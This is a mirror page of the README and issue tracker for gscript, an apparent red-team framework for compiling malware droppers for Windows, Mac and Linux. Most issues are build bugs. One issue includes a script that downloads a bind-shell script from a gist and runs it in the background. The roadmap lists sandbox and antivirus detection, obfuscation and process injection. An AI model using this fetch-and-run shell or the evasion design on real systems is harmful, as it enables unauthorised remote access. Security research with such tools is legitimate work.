Code Monkey home page Code Monkey logo

gscript's Introduction

Gscript Logo

Genesis Scripting Engine (gscript)

Security framework to rapidly implement custom droppers for all three major operating systems

CircleCI

About

Gscript is a framework for building multi-tenant executors for several implants in a stager. The engine works by embedding runtime logic (powered by the Otto Javascript Virtual Machine) for each persistence technique. This logic gets run at deploy time on the victim machine, in parallel for every implant contained with the stager. The Gscript engine leverages the multi-platform support of Golang to produce final stage one binaries for Windows, Mac, and Linux.

We encourage you to read through the slides from DEFCON26:

https://docs.google.com/presentation/d/1kHdz8DY0Zn44yn_XrZ2RVqDY1lpADThLPNPwHP-njbc/edit?usp=sharing

Table of Contents

Features

  • Easy to learn and write - uses javascript.
  • Portable - Compile droppers for OSX, Windows, or Linux from any OS.
  • Robust - Script's are isolated from each other in a safe execution way.
  • Fast.
  • Extensible - Can link native Golang packages directly into your Javascript.

Installation

Docker (Easiest)

If you have docker installed, you can run:

$ docker pull gen0cide/gscript:v1

Make a local directory where you can share files between your local machine and the docker container. Replace $LOCAL_DIR in the following command with the path to that:

$ docker run -it -v $LOCAL_DIR:/root/share gen0cide/gscript:v1

Thats it! You're good to go.

Local (Good for advanced)

Local installation requires you to have a Golang compiler setup and working on your machine. If you need to do this, you can grab an installer here. Make sure $GOPATH/bin is in your $PATH.

After that, all you need to do is run:

$ go get github.com/gen0cide/gscript/cmd/gscript

Quick Start

Check out the tutorial docs here:

https://github.com/gen0cide/gscript/tree/master/docs/tutorials

If you want to see example scripts, we have a separate repo you can clone:

https://github.com/ahhh/gscripts

Docs

Here's a list of docs and tutorials that might be helpful for you:

(more to come soon)

Shoutouts

mentors, contributors, and great friends of gscript

  • @cmc
  • @hecfblog
  • @ccdcredteam
  • @1njecti0n
  • @ahhh
  • @emperorcow
  • @vyrus001
  • @kos
  • @davehughes
  • @maus
  • @javuto

gscript's People

Contributors

ahhh avatar deoxxa avatar droberson avatar emperorcow avatar gen0cide avatar heywoodlh avatar javuto avatar jayhill365 avatar vitapluvia avatar vyrus001 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

gscript's Issues

Runtime Error when running ExecuteCommand multiple times

Whenever I compile a script that has multiple calls to ExecuteCommand, I get a runtime error. For example the following script:

function Deploy() {
    G.exec.ExecuteCommand("powershell", ["ls", "-recurse"]);
    G.exec.ExecuteCommand("powershell", ["ls", "-recurse"]);
    return true;
}

The first call to ExecuteCommand runs as expected. The second call will generate the following error:

[engine:t1083-2.gs] ERROR runtime error: could not create multiple assignment structure - (anonymous): Line 1:4 Unexpected token ILLEGAL (and 1 more errors)
[engine:t1083-2.gs]  INFO console.log >>> runtime: could not create multiple assignment structure - (anonymous): Line 1:4 Unexpected token ILLEGAL (and 1 more errors)

I traced this error message to line 301 of gscript/compiler/templates/vm_file.go.tmpl

I've tried making changes to the template file and recompiling, but the changes aren't taking effect. I'm using the commands from the docs to compile:

cd ~/go/src/github.com/gen0cide/gscript/cmd/gscript
go build
cp ./gscript /usr/local/bin/

I have two questions for this issue. A) Is there a workaround for the error I am getting? and B) Why are my changes to the template file not working? Is that file being pulled from somewhere else or am I doing something wrong with my build?

Priority macro is broken

Looks like priority is not working? See below. The order of the scripts in the compile args determines priority.

[gscript/docker version:v1 ~]# cat share/start_first.gs
//priority:1

function Deploy() {
    console.log('I am priority 1');
}
[gscript/docker version:v1 ~]# cat share/start_second.gs
//priority:1000

function Deploy() {
    console.log('I am priority 1000');
}

[gscript/docker version:v1 ~]# gscript compile --enable-logging -o /tmp/test share/start_second.gs share/start_first.gs
[gscript:cli]  INFO *** COMPILER OPTIONS ***
[gscript:cli]  INFO
[gscript:cli]  INFO                        OS: linux
[gscript:cli]  INFO                      Arch: amd64
[gscript:cli]  INFO               Output File: /tmp/test
[gscript:cli]  INFO      Keep Build Directory: [DISABLED]
[gscript:cli]  INFO           UPX Compression: [DISABLED]
[gscript:cli]  INFO           Logging Support: [ENABLED]
[gscript:cli]  INFO          Debugger Support: [DISABLED]
[gscript:cli]  INFO       Human Redable Names: [DISABLED]
[gscript:cli]  INFO   Import All Native Funcs: [DISABLED]
[gscript:cli]  INFO          Skip Compilation: [DISABLED]
[gscript:cli]  INFO         Obfuscation Level: ALL OBFUSCATION ENABLED
[gscript:cli]  INFO
[gscript:cli]  INFO ***  SOURCE SCRIPTS  ***
[gscript:cli]  INFO
[gscript:cli]  INFO     Script : share/start_second.gs
[gscript:cli]  INFO     Script : share/start_first.gs
[gscript:cli]  INFO
[gscript:cli]  INFO ************************
[gscript:cli]  INFO
[gscript:cli]  INFO Compiled binary located at:

/tmp/test

[gscript/docker version:v1 ~]# /tmp/test
[engine:start_second.gs]  INFO console.log >>> I am priority 1000
[engine:start_first.gs]  INFO console.log >>> I am priority 1
[gscript/docker version:v1 ~]# gscript compilegscript compile --enable-logging -o /tmp/test share/start_first.gs share/start_second.gs
[gscript:cli]  INFO *** COMPILER OPTIONS ***
[gscript:cli]  INFO
[gscript:cli]  INFO                        OS: linux
[gscript:cli]  INFO                      Arch: amd64
[gscript:cli]  INFO               Output File: /tmp/test
[gscript:cli]  INFO      Keep Build Directory: [DISABLED]
[gscript:cli]  INFO           UPX Compression: [DISABLED]
[gscript:cli]  INFO           Logging Support: [ENABLED]
[gscript:cli]  INFO          Debugger Support: [DISABLED]
[gscript:cli]  INFO       Human Redable Names: [DISABLED]
[gscript:cli]  INFO   Import All Native Funcs: [DISABLED]
[gscript:cli]  INFO          Skip Compilation: [DISABLED]
[gscript:cli]  INFO         Obfuscation Level: ALL OBFUSCATION ENABLED
[gscript:cli]  INFO
[gscript:cli]  INFO ***  SOURCE SCRIPTS  ***
[gscript:cli]  INFO
[gscript:cli]  INFO     Script : share/start_first.gs
[gscript:cli]  INFO     Script : share/start_second.gs
[gscript:cli]  INFO
[gscript:cli]  INFO ************************
[gscript:cli]  INFO
[gscript:cli]  INFO Compiled binary located at:

/tmp/test

[gscript/docker version:v1 ~]# /tmp/test
[engine:start_first.gs]  INFO console.log >>> I am priortiy 1
[engine:start_second.gs]  INFO console.log >>> I am priority 1000

gscript 0.1.0 Feature List

I wanted to document some of my thoughts on what features I'd like to see in gscript for us to take it to v0.1.0, the first "stable" release I'd like to ship.

New Functions

  • FilePerms(path, 0755, recursive) - allows a script to change the permissions of files and directories, including recursively.
  • FileStat(path) - retrieve the modified/access/create times for a given file or directory.
  • SetModTime(path, timestamp) - Set the modified time of a file.
  • SetAccessTime(path, timestamp) - Set the access time of a file.
  • SetCreateTime(path, timestamp) - Set the create time of a file.
  • FindProcess(searchterm) - Find processes that match a specific regular expression.
  • DetectSandbox() - Detect if the value is running in a sandbox.
  • DetectAV() - Detect AntiVirus that might be running on the machine.
  • SelfPath() - Get current path to the running gscript executable.
  • InstallSystemService(svc_config) - Allows a system service to be installed (cross platform). svc_config is a new data structure that will need to be defined.
  • RenderTemplate(template_bytes, vars) - Allows the user to embed a golang template and render it at runtime.

Compiler Enhancements

  • Move compiler and runtime into their own sub packages. This will reduce final binary size.
  • Minify gscript's before embedding script into final binary.
  • Implement better embedded compression to reduce binary size.
  • Strip symbols from final binary.
  • Create new subcommand new that writes a gscript template to a location of your choice.
  • Add --upx flag to compile command to UPX the final binary to the smallest possible size.
  • Implement simple encryption for payloads.
  • Port GOTTI binary obfuscation to the gscript compiler.

New Macros

  • //require:/path/to/lib.gs - This will allow a gscript to reference custom functions from a javascript file. The gscript library should NOT implement the hook functions and the compiler will return an error if it does.
  • //priority:$VAL - Allows the user to specify lexical ordering of scripts. Scripts without priority will default to priority of 100. All gscripts of a similar priority will be executed concurrently.
  • //os:windows - Allows the user to specify what OS this gscript is intended for, preventing bundling of incompatible gscripts into the final binary.
  • //arch:386 - Same as //os but for architecture.
  • //timeout:30 - Allows the user to set a timeout for this gscript to prevent it from hanging during execution. Default will be set to 10 seconds.

Bug Fixes

  • Fix shell incompatibility with windows terminals.
  • Change compiler output prefix from GENESIS to GSE.
  • Fix Halt() command to stop the entire gscript binary including all goroutines and VMs.
  • Implement a file not found timeout on the //import_url macro.
  • Migrate process injection to an interface that gets satisfied for all platform types.

Tech Debt

  • TBD, but definitely will be some.
  • More documentation needed.
  • README.md redesign to improve user learning.

examples/generic_bindshell_osx.gs

It appears that RetrieveFileFromURL has been replaced with HTTPGetFile and ForkExec has been replaced with ForkExecuteCommand, so this example doesn't seem to work anymore.

This works provided the script on ahhh's gist works correctly (haven't tested on osx, but it downloads + executes the script w/ syntax error on Linux):

// genesis script, spawns a generic bind shell in the background

function BeforeDeploy() {
console.log("Testing generic bind shell pulled from the web");
return true;
}

function Deploy() {
var url = "https://gist.githubusercontent.com/ahhh/609cdf5abaa22e233976aec55a3e0dfd/raw/20cce584caeab27c3be3a7a612fda0ec3e99f94d/simple_bind.sh";
var file_3 = "/tmp/bind.sh";
var response2 = HTTPGetFile(url);
var response3 = WriteFile(file_3, response2.file, 0755);
var hash = MD5(file_3);
console.log("MD5 of " + file_3 + ": " + hash.value);
return true;
}

function AfterDeploy() {
ForkExecuteCommand("/bin/sh", ["/tmp/bind.sh"]);
console.log("Test complete");
return true;
}

Build issue.

I followed every step but for some reason after building there is no ./gscript file compiled?

when I run ./gscript I receive:

"bash: gscript: command not found"

any ideas?

XorBytes limitations

This appears to be limited to 20 bytes and not able to repeat a key.

Trying to XOR more than 20 bytes results in an error:

[GSCRIPT:xor.gs] 2018-25-10 12:25:09 PM (PDT) FATAL Timer experienced fatal error: runtime error: index out of range script=xor.gs line=0

Unequal length byte arrays XORs the length of the smaller array: XorBytes("AAAA", "B") will return only the first byte "A" ^ "B", then 19 NULLs.

daniel@lasercane ~/gscript/docs
 % ~/go/bin/gscript run /tmp/xor.gs
***********************************************************
                             ____                         
                     __,-~~/~    `---.                    
                   _/_,---(      ,    )                   
               __ /        <    /   )  \___               
- ------===;;;'====------------------===;;;===----- -  -  
                  \/  ~"~"~"~"~"~\~"~)~"/                 
                  (_ (   \  (     >    \)                 
                   \_( _ <         >_>'                   
                      ~ `-i' ::>|--"                      
                          I;|.|.|                         
                         <|i::|i|`.                       
            uL          (` ^'"`-' ")          )  
        .ue888Nc..          (   (          ( /(  
       d88E`"888E`  (    (  )(  )\  `  )   )\())  
       888E  888E   )\   )\(()\((_) /(/(  (_))/  
       888E  888E  ((_) ((_)((_)(_)((_)_\ | |_   
       888E  888E  (_-</ _|| '_|| || '_ \)|  _|  
       888& .888E  /__/\__||_|  |_|| .__/  \__| v0.1.2 
       *888" 888&                  |_|           
        `"   "888E  G E N I S I S        -- By --
       .dWi   `88E   S C R I P T I N G       gen0cide
       4888~  J8%%    E N G I N E            ahhh
        ^"===*"`             
                github.com/gen0cide/gscript
***********************************************************
[GSCRIPT:xor.gs] 2018-21-10 12:21:19 PM (PDT) INFO Script loaded successfully
Testing XorBytes
Result: 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Test complete
daniel@lasercane ~/gscript/docs
 % cat /tmp/xor.gs                           
// Example XorBytes usage

function BeforeDeploy() {
  console.log("Testing XorBytes");
  return true; 
}

function Deploy() {
  var string1 = "AAAA"
  var string2 = "B"
  var xorresult = XorBytes(string1, string2)
  console.log("Result: " + xorresult.value)
  return true;
}

function AfterDeploy() {
  console.log("Test complete");
  return true;
}

docker missing package

I get the error:
/root/go/src/github.com/gen0cide/gscript/x/windows/windows.go:10:2: cannot find package "github.com/mitchellh/go-ps" in any of:

After go get github.com/mitchellh/go-ps everything works fine

Standardize output to obj.value?

The majority of functions store the output in obj.value, however many functions have unique variable names for their output on a function-by-function basis. Should this be standardized to obj.value when the function only logically returns one thing to make scripting easier and more consistent?

UPX Packing Doesn't Work

Looks like UPX packing is broken? The option is recognized by gscript but the binary that is output is not packed on windows and Linux output binaries. See below

[gscript/docker version:v1 ~]# gscript compile --enable-logging --os=windows --enable-upx-compression=true -o /tmp/windows_merlin.exe  share/import.gs
[gscript:cli]  INFO *** COMPILER OPTIONS ***
[gscript:cli]  INFO
[gscript:cli]  INFO                        OS: windows
[gscript:cli]  INFO                      Arch: amd64
[gscript:cli]  INFO               Output File: /tmp/windows_merlin.exe
[gscript:cli]  INFO      Keep Build Directory: [DISABLED]
[gscript:cli]  INFO           UPX Compression: [ENABLED]
[gscript:cli]  INFO           Logging Support: [ENABLED]
[gscript:cli]  INFO          Debugger Support: [DISABLED]
[gscript:cli]  INFO       Human Redable Names: [DISABLED]
[gscript:cli]  INFO   Import All Native Funcs: [DISABLED]
[gscript:cli]  INFO          Skip Compilation: [DISABLED]
[gscript:cli]  INFO         Obfuscation Level: ALL OBFUSCATION ENABLED
[gscript:cli]  INFO
[gscript:cli]  INFO ***  SOURCE SCRIPTS  ***
[gscript:cli]  INFO
[gscript:cli]  INFO     Script : share/import.gs
[gscript:cli]  INFO
[gscript:cli]  INFO ************************
[gscript:cli]  INFO
[gscript:cli]  INFO Compiled binary located at:

/tmp/windows_merlin.exe
[gscript/docker version:v1 ~]# ls -lart /tmp/windows_merlin.exe
-rwxr-xr-x 1 root root 17474048 Aug 12 00:15 /tmp/windows_merlin.exe
[gscript/docker version:v1 ~]# file /tmp/windows_merlin.exe
/tmp/windows_merlin.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

[gscript/docker version:v1 ~]# gscript compile --enable-logging --enable-upx-compression -o /tmp/linux_merlin.exe  share/import.gs
[gscript:cli]  INFO *** COMPILER OPTIONS ***
[gscript:cli]  INFO
[gscript:cli]  INFO                        OS: linux
[gscript:cli]  INFO                      Arch: amd64
[gscript:cli]  INFO               Output File: /tmp/linux_merlin.exe
[gscript:cli]  INFO      Keep Build Directory: [DISABLED]
[gscript:cli]  INFO           UPX Compression: [ENABLED]
[gscript:cli]  INFO           Logging Support: [ENABLED]
[gscript:cli]  INFO          Debugger Support: [DISABLED]
[gscript:cli]  INFO       Human Redable Names: [DISABLED]
[gscript:cli]  INFO   Import All Native Funcs: [DISABLED]
[gscript:cli]  INFO          Skip Compilation: [DISABLED]
[gscript:cli]  INFO         Obfuscation Level: ALL OBFUSCATION ENABLED
[gscript:cli]  INFO
[gscript:cli]  INFO ***  SOURCE SCRIPTS  ***
[gscript:cli]  INFO
[gscript:cli]  INFO     Script : share/import.gs
[gscript:cli]  INFO
[gscript:cli]  INFO ************************
[gscript:cli]  INFO
[gscript:cli]  INFO Compiled binary located at:

/tmp/linux_merlin.exe
[gscript/docker version:v1 ~]# ls -lart /tmp/linux_merlin.exe
-rwxr-xr-x 1 root root 17288128 Aug 12 00:22 /tmp/linux_merlin.exe
[gscript/docker version:v1 ~]# file /tmp/linux_merlin.exe
/tmp/linux_merlin.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Issues with DelRegKeyValue

in engine/lib_registry_windows.go the DelRegKeyValue function has an unused parameter "valueName"

additionally, I am unsure if this function behaves as intended. it first makes a call to DeleteValue, then proceeds to DeleteKey, which wipes out the entire key rather than just a value.

current user without domain

Thanks for the creation of gscript. There may be an easy way to my problem, but I can't find a way out. How can I get the current users' username without the domain or the workgroup. i.e:
[engine:helloworld.gs] INFO console.log >>> Our user is: AJ\AJ

This is how I am calling it:

    var user = user2.Current();
    console.log("Our user is: "+user[0].Username);

Thanks!

gscript shell failed to start

In order to reproduce:

  1. Ubuntu 20.04
  2. Installed golang
  3. go get on gscript repo
  4. cd into go/bin and run ./gscript shell
~/go/bin# ./gscript shell
/root/go/src/github.com/gen0cide/gscript/stdlib/requests/requests.go:21:2: cannot find package "github.com/Jeffail/gabs/v2" in any of:
        /usr/lib/go-1.13/src/github.com/Jeffail/gabs/v2 (from $GOROOT)
        /root/go/src/github.com/Jeffail/gabs/v2 (from $GOPATH)
/root/go/src/github.com/gen0cide/gscript/debugger/vm_functions.go:7:2: cannot find package "github.com/davecgh/go-spew/spew" in any of:
        /usr/lib/go-1.13/src/github.com/davecgh/go-spew/spew (from $GOROOT)
        /root/go/src/github.com/davecgh/go-spew/spew (from $GOPATH)
/root/go/src/github.com/gen0cide/gscript/debugger/repl.go:12:2: cannot find package "github.com/gohxs/readline" in any of:
        /usr/lib/go-1.13/src/github.com/gohxs/readline (from $GOROOT)
        /root/go/src/github.com/gohxs/readline (from $GOPATH)
/root/go/src/github.com/gen0cide/gscript/debugger/repl.go:13:2: cannot find package "github.com/mattn/go-isatty" in any of:
        /usr/lib/go-1.13/src/github.com/mattn/go-isatty (from $GOROOT)
        /root/go/src/github.com/mattn/go-isatty (from $GOPATH)
[gscript:cli] ERROR Build Dir Located At: /tmp/r8G2MdqAAfKGbSQN
exit status 1

undefined: gabs.Consume

The console are return this when run gscript shell:

gen0cide/gscript/stdlib/requests/requests.go:129:18: undefined: gabs.Consume
[gscript:cli] ERROR Build Dir Located At: /tmp/ndvgEoICAVjFSofz
[gscript:cli] FATAL Error Encountered: exit status 2

WriteTempFile appends tmp directory to filepath twice

Example below should only have /tmp, not /tmp/tmp:

% ~/go/bin/gscript run /tmp/writetempfile.gs
***********************************************************
                             ____                         
                     __,-~~/~    `---.                    
                   _/_,---(      ,    )                   
               __ /        <    /   )  \___               
- ------===;;;'====------------------===;;;===----- -  -  
                  \/  ~"~"~"~"~"~\~"~)~"/                 
                  (_ (   \  (     >    \)                 
                   \_( _ <         >_>'                   
                      ~ `-i' ::>|--"                      
                          I;|.|.|                         
                         <|i::|i|`.                       
            uL          (` ^'"`-' ")          )  
        .ue888Nc..          (   (          ( /(  
       d88E`"888E`  (    (  )(  )\  `  )   )\())  
       888E  888E   )\   )\(()\((_) /(/(  (_))/  
       888E  888E  ((_) ((_)((_)(_)((_)_\ | |_   
       888E  888E  (_-</ _|| '_|| || '_ \)|  _|  
       888& .888E  /__/\__||_|  |_|| .__/  \__| v0.1.2 
       *888" 888&                  |_|           
        `"   "888E  G E N I S I S        -- By --
       .dWi   `88E   S C R I P T I N G       gen0cide
       4888~  J8%%    E N G I N E            ahhh
        ^"===*"`             
                github.com/gen0cide/gscript
***********************************************************
[GSCRIPT:writetempfile.gs] 2018-57-10 12:57:35 PM (PDT) INFO Script loaded successfully
WriteTempFile test starting
Temporary file: /tmp/tmp/lollerskates152979145    <------- LOOK HERE
WriteTempFile test complete
daniel@lasercane ~/gscript/docs
 % cat /tmp/writetempfile.gs 
function BeforeDeploy() {
  console.log("WriteTempFile test starting")
  return true;
}

function Deploy() {
  tempfile = WriteTempFile("lollerskates", "roflcopter")
  console.log("Temporary file: " + tempfile.fullpath)
  return true;
}

function AfterDeploy() {
  console.log("WriteTempFile test complete");
  return true;
}

Compiling a gscript bin w/ target scripts missing

When you build a gscript and the the gscripts aren't located at the target path that you specify you get the following errors:
_/private/var/folders/zy/dh22xx3n295fblwcq6h0syhh0000gn/T/e84XFV4TTE0DIs61
./main.go:4:2: imported and not used: "compress/gzip"
./main.go:5:2: imported and not used: "io/ioutil"
./main.go:8:2: imported and not used: "strings"
./main.go:10:2: imported and not used: "github.com/gen0cide/gscript/engine"
[GSCRIPT:compiler] 2018-03-20 12:03:31 PM (PDT) FATAL Compilation error for /var/folders/zy/dh22xx3n295fblwcq6h0syhh0000gn/T/e84XFV4TTE0DIs61/main.go
We should catch this and respond w/ a graceful error.

docker: terminal_check_windows.go:10:2: cannot find package

Hello,

The error happens when generating for a windows binary:

[gscript/docker version:master ~]# gscript compile --enable-logging --os windows --obfuscation-level 3 /myvol/test1.gs
[gscript:cli]  INFO *** COMPILER OPTIONS ***
[gscript:cli]  INFO 
[gscript:cli]  INFO                        OS: windows                                                                 
[gscript:cli]  INFO                      Arch: amd64                                                                   
[gscript:cli]  INFO               Output File: /tmp/1575166006_gscript.bin                                             
[gscript:cli]  INFO      Keep Build Directory: [DISABLED]                                                              
[gscript:cli]  INFO           UPX Compression: [DISABLED]                                                              
[gscript:cli]  INFO           Logging Support: [ENABLED]                                                               
[gscript:cli]  INFO          Debugger Support: [DISABLED]                                                              
[gscript:cli]  INFO       Human Redable Names: [DISABLED]                                                              
[gscript:cli]  INFO   Import All Native Funcs: [DISABLED]                                                              
[gscript:cli]  INFO          Skip Compilation: [DISABLED]                                                              
[gscript:cli]  INFO         Obfuscation Level: ALL OBFUSCATION DISABLED                                                
[gscript:cli]  INFO 
[gscript:cli]  INFO ***  SOURCE SCRIPTS  ***
[gscript:cli]  INFO 
[gscript:cli]  INFO     Script : /myvol/test1.gs                                                         
[gscript:cli]  INFO 
[gscript:cli]  INFO ************************
[gscript:cli]  INFO 
/root/go/src/github.com/sirupsen/logrus/terminal_check_windows.go:10:2: cannot find package "github.com/konsorten/go-windows-terminal-sequences" in any of:
	/opt/go/src/github.com/konsorten/go-windows-terminal-sequences (from $GOROOT)

Solved by running go get github.com/konsorten/go-windows-terminal-sequences .

Similar issue that this one

Cheers!

GetProcName FIXME

GetProcName() contains a FIXME comment stating that this function returns the name of the executable rather than the process name.

gscript shell dependencies

Several libs are required to start gscript shell.

C:\Users\user\go\bin>gscript shell
..\..\..\..\go\src\github.com\gen0cide\gscript\stdlib\requests\requests.go:21:2: cannot find package "github.com/Jeffail/gabs" in any of:
        C:\Go\src\github.com\Jeffail\gabs (from $GOROOT)
        C:\Users\user\go\src\github.com\Jeffail\gabs (from $GOPATH)
..\..\..\..\go\src\github.com\gen0cide\gscript\debugger\vm_functions.go:7:2: cannot find package "github.com/davecgh/go-spew/spew" in any of:
        C:\Go\src\github.com\davecgh\go-spew\spew (from $GOROOT)
        C:\Users\user\go\src\github.com\davecgh\go-spew\spew (from $GOPATH)
..\..\..\..\go\src\github.com\gen0cide\gscript\debugger\repl.go:12:2: cannot find package "github.com/gohxs/readline" in any of:
        C:\Go\src\github.com\gohxs\readline (from $GOROOT)
        C:\Users\user\go\src\github.com\gohxs\readline (from $GOPATH)
..\..\..\..\go\src\github.com\gen0cide\gscript\debugger\repl.go:13:2: cannot find package "github.com/mattn/go-isatty" in any of:
        C:\Go\src\github.com\mattn\go-isatty (from $GOROOT)
        C:\Users\user\go\src\github.com\mattn\go-isatty (from $GOPATH)
[gscript:cli] ERROR Build Dir Located At: C:\Users\user\AppData\Local\Temp\11WeCnnwvrzHE81V
[gscript:cli] FATAL Error Encountered: exit status 1

C:\Users\user\go\bin>go get github.com/Jeffail/gabs

C:\Users\user\go\bin>go get github.com/davecgh/go-spew/spew

C:\Users\user\go\bin>go get "github.com/gohxs/readline"

C:\Users\user\go\bin>go get github.com/mattn/go-isatty

C:\Users\user\go\bin>gscript shell
***********************************************************
                             ____
                     __,-~~/~    `---.
                   _/_,---(      ,    )
               __ /        <    /   )  \___
 - ------===;;;'====-----------------===;;;===----- -  -
                  \/  ~"~"~"~"~"~\~"~)~"/
                  (_ (   \  (     >    \)
                   \_( _ <         >_>'
                      ~ `-i' ::>|--"
                          I;|.|.|
                         <|i::|i|`.
            uL          (` ^'"`-' ")          )
        .ue888Nc..          (   (          ( /(
       d88E`"888E`  (    (  )(  )\  `  )   )\())
       888E  888E   )\   )\(()\((_) /(/(  (_))/
       888E  888E  ((_) ((_)((_)(_)((_)_\ | |_
       888E  888E  (_-</ _|| '_|| || '_ \)|  _|
       888& .888E  /__/\__||_|  |_|| .__/  \__| v1.0.0
       *888" 888&                  |_|
        `"   "888E  G E N E S I S        -- By --
       .dWi   `88E   S C R I P T I N G       gen0cide
       4888~  J8%%    E N G I N E            ahhh
        ^"===*"`                             vyrus
                github.com/gen0cide/gscript
***********************************************************
*** GSCRIPT INTERACTIVE SHELL ***
gscript>

Linux Installation Issue

When I try $ go get github.com/gen0cide/gscript/cmd/gscript the system returns:

# github.com/gen0cide/gscript/compiler/computil
go/src/github.com/gen0cide/gscript/compiler/computil/packages.go:48:21: undefined: gopkgs.Packages

Here's my PATH and Go version:

$ echo $PATH
/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/george/.local/bin:/home/george/bin:/usr/local/go/bin
$ go version
go version go1.11 linux/amd64

Also, in the installation readme, please change cd ~/go/src/github.com/gen0cide/cmd/gscript to cd ~/go/src/github.com/gen0cide/gscript/cmd/gscript

syscall.SIGSTKFLT

Trying to compile a script without including --enable-logging results in ./main.go:14:89: undefined: syscall.SIGSTKFLT. Any idea how I can fix that? I'm using MacOSX Mojave 10.14.4.

could not find the genesis package in your go path

If you are experiencing an error like the following:

(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ ./gscript 
panic: could not find the genesis package in your go path

goroutine 1 [running]:
github.com/gen0cide/gscript/compiler/computil.DefaultOptions()
        /home/db/go/src/github/gen0cide/gscript/compiler/computil/options.go:164 +0x339
main.init()
        /home/db/go/src/github/gen0cide/gscript/cmd/gscript/main.go:17 +0x7ef

Consider the following hacky workaround:

┌──(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ export GO111MODULE=off 
┌──(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ vim main.go 

Then modify the following lines of the gscript/cmd/gscript/main.go file:
comment out the logurus dependency at line 7:
// "github.com/sirupsen/logrus
comment the usage of logurus on line 83:
// cliLogger.Logger.SetLevel(logrus.DebugLevel)

Gscript 1.0.0 Feature Spec

I wanted to document some of my thoughts on what features I'd like to see in gscript for us to take it to v0.2.0, the first "stable" release I'd like to ship.

Engine

  • Make BeforeDeploy() and AfterDeploy() hooks optional, but support older scripts.
  • Expose the command line arguments to a GSCRIPT via an ARGS object.
  • Make progress on FreeBSD and OpenBSD support.
  • Create a native API for binary self deletion on all platforms.

Compiler

  • Expose a map of defined functions and variables
  • Implement a more intelligent AST walker
  • Implement a linker that analyzes a gscript's targets and only includes standard library functions that are defined by the included scripts.
  • Be able to point the compiler at different engines revisions or standard libraries.
  • Implement packages so WriteFile() becomes Files.WriteFile()
  • Implement simple encryption for payloads.
  • Port GOTTI binary obfuscation to the gscript compiler.
  • Update post compilation obfuscation to support dynamic analysis of identifiable strings.

New Macros

  • //require:/path/to/lib.gs - This will allow a gscript to reference custom functions from a javascript file. The gscript library should NOT implement the hook functions and the compiler will return an error if it does.
  • //os:windows - Allows the user to specify what OS this gscript is intended for, preventing bundling of incompatible gscripts into the final binary.
  • //arch:386 - Same as //os but for architecture.

Debugger

  • Allow the debugger to be compiled into a final binary for debugging a final produced binary.

CLI

  • Have gscript update use go get -u to update the standard library, as well as the binary.

Standard Library

  • Move YAML function definitions to comment based decorators in the Golang function.
  • Decouple the STDLIB from the engine, so that individual stdlib packages can be included.
  • Create a Golang based regular expression package with common methods present.

New Functions

  • DetectSandbox() - Detect if the value is running in a sandbox.
  • DetectAV() - Detect AntiVirus that might be running on the machine.
  • RenderTemplate(template_bytes, vars) - Allows the user to embed a golang template and render it at runtime.

Bug Fixes

  • Fix issue packing large files - implement heap allocation segments for large files so that the runtime can assemble them at runtime.
  • Migrate process injection to an interface that gets satisfied for all platform types.

Tech Debt

  • TBD, but definitely will be some.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.